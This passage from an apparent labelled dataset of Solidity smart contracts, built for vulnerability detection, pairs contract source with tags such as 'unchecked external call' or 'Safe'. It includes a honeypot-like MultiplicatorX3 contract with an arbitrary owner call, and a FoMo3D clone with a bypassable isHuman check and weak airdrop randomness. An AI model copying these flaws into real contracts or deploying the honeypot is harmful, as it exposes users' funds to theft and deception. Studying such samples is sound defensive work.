token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/Utils2.sol contract Utils2 is Utils { /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } function getDecimalsSafe(ERC20 token) internal returns(uint) { if (decimals[token] == 0) { setDecimals(token); } return decimals[token]; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals) internal pure returns(uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/oasisContracts/KyberOasisReserve.sol contract OtcInterface { function getOffer(uint id) public constant returns (uint, ERC20, uint, ERC20); function sellAllAmount(ERC20 payGem, uint payAmt, ERC20 buyGem, uint minFillAmount) public returns (uint fillAmt); function getBestOffer(ERC20 sellGem, ERC20 buyGem) public constant returns(uint); } contract TokenInterface is ERC20 { function deposit() public payable; function withdraw(uint) public; } contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils2 { uint constant internal MIN_TRADE_TOKEN_SRC_AMOUNT = (10**18); uint constant internal COMMON_DECIMALS = 18; address public sanityRatesContract = 0; address public kyberNetwork; OtcInterface public otc; TokenInterface public wethToken; ERC20 public tradeToken; bool public tradeEnabled; uint public feeBps; function KyberOasisReserve( address _kyberNetwork, OtcInterface _otc, TokenInterface _wethToken, ERC20 _tradeToken, address _admin, uint _feeBps ) public { require(_admin != address(0)); require(_kyberNetwork != address(0)); require(_otc != address(0)); require(_wethToken != address(0)); require(_tradeToken != address(0)); require(_feeBps < 10000); require(getDecimals(_wethToken) == COMMON_DECIMALS); require(getDecimals(_tradeToken) == COMMON_DECIMALS); kyberNetwork = _kyberNetwork; otc = _otc; wethToken = _wethToken; tradeToken = _tradeToken; admin = _admin; feeBps = _feeBps; tradeEnabled = true; wethToken.approve(otc, 2**255); tradeToken.approve(otc, 2**255); } function() public payable { require(msg.sender == address(wethToken)); } event TradeExecute( address indexed sender, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event KyberNetworkSet(address kyberNetwork); function setKyberNetwork(address _kyberNetwork) public onlyAdmin { require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; KyberNetworkSet(kyberNetwork); } event OtcSet(address otc); function setOtc(OtcInterface _otc) public onlyAdmin { require(_otc != address(0)); wethToken.approve(otc, 0); tradeToken.approve(otc, 0); wethToken.approve(_otc, 2**255); tradeToken.approve(_otc, 2**255); otc = _otc; OtcSet(otc); } event FeeBpsSet(uint feeBps); function setFeeBps(uint _feeBps) public onlyAdmin { require(_feeBps < 10000); feeBps = _feeBps; FeeBpsSet(feeBps); } function valueAfterReducingFee(uint val) public view returns(uint) { require(val <= MAX_QTY); return ((10000 - feeBps) * val) / 10000; } function valueBeforeFeesWereReduced(uint val) public view returns(uint) { require(val <= MAX_QTY); return val * 10000 / (10000 - feeBps); } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { uint rate; uint actualSrcQty; ERC20 wrappedSrc; ERC20 wrappedDest; uint bestOfferId; uint offerPayAmt; uint offerBuyAmt; blockNumber; if (!tradeEnabled) return 0; if ((tradeToken != src) && (tradeToken != dest)) return 0; if (src == ETH_TOKEN_ADDRESS) { wrappedSrc = wethToken; wrappedDest = dest; actualSrcQty = srcQty; } else if (dest == ETH_TOKEN_ADDRESS) { wrappedSrc = src; wrappedDest = wethToken; if (srcQty < MIN_TRADE_TOKEN_SRC_AMOUNT) { /* Assuming token is stable, use a minimal amount to get rate also for small token quant. */ actualSrcQty = MIN_TRADE_TOKEN_SRC_AMOUNT; } else { actualSrcQty = srcQty; } } else { return 0; } // getBestOffer's terminology is of offer maker, so their sellGem is our (the taker's) dest token. bestOfferId = otc.getBestOffer(wrappedDest, wrappedSrc); (offerPayAmt, , offerBuyAmt,) = otc.getOffer(bestOfferId); // make sure to take only first level of order book to avoid gas inflation. if (actualSrcQty > offerBuyAmt) return 0; rate = calcRateFromQty(offerBuyAmt, offerPayAmt, COMMON_DECIMALS, COMMON_DECIMALS); return valueAfterReducingFee(rate); } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken)); require((tradeToken == srcToken) || (tradeToken == destToken)); uint actualDestAmount; // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint userExpectedDestAmount = calcDstQty(srcAmount, COMMON_DECIMALS, COMMON_DECIMALS, conversionRate); require(userExpectedDestAmount > 0); // sanity check uint destAmountIncludingFees = valueBeforeFeesWereReduced(userExpectedDestAmount); if (srcToken == ETH_TOKEN_ADDRESS) { wethToken.deposit.value(msg.value)(); actualDestAmount = otc.sellAllAmount(wethToken, msg.value, destToken, destAmountIncludingFees); require(actualDestAmount >= destAmountIncludingFees); // transfer back only requested dest amount. require(destToken.transfer(destAddress, userExpectedDestAmount)); } else { require(srcToken.transferFrom(msg.sender, this, srcAmount)); actualDestAmount = otc.sellAllAmount(srcToken, srcAmount, wethToken, destAmountIncludingFees); require(actualDestAmount >= destAmountIncludingFees); wethToken.withdraw(actualDestAmount); // transfer back only requested dest amount. destAddress.transfer(userExpectedDestAmount); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, userExpectedDestAmount, destAddress); return true; } }",./Dataset/ether strict equality (SE),3,3 0x0553fe39cbccdd6110e1c77b95a99faef8050604_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29808000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x24c17C779E7d4b741C1cB4038b4D9a5027ca871f; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 33512.sol,"pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } }",./Dataset/unchecked external call (UC),7,7 3694.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3DUnlimited is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x137679d52dfa0d8191600046afc29634e349182d); address private admin = msg.sender; string constant public name = ""FOMO unlimited""; string constant public symbol = ""UNLIM""; uint256 private rndExtra_ = 1 minutes; uint256 private rndGap_ = 1 minutes; uint256 constant private rndInit_ = 72 hours; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 999 years; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(20,0); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(52,0); fees_[3] = F3Ddatasets.TeamFee(43,0); potSplit_[0] = F3Ddatasets.PotSplit(30,0); potSplit_[1] = F3Ddatasets.PotSplit(20,0); potSplit_[2] = F3Ddatasets.PotSplit(10,0); potSplit_[3] = F3Ddatasets.PotSplit(20,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now < round_[_rID].strt + rndGap_) return( (round_[_rID].strt + rndGap_).sub(_now)); else return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000) { uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / 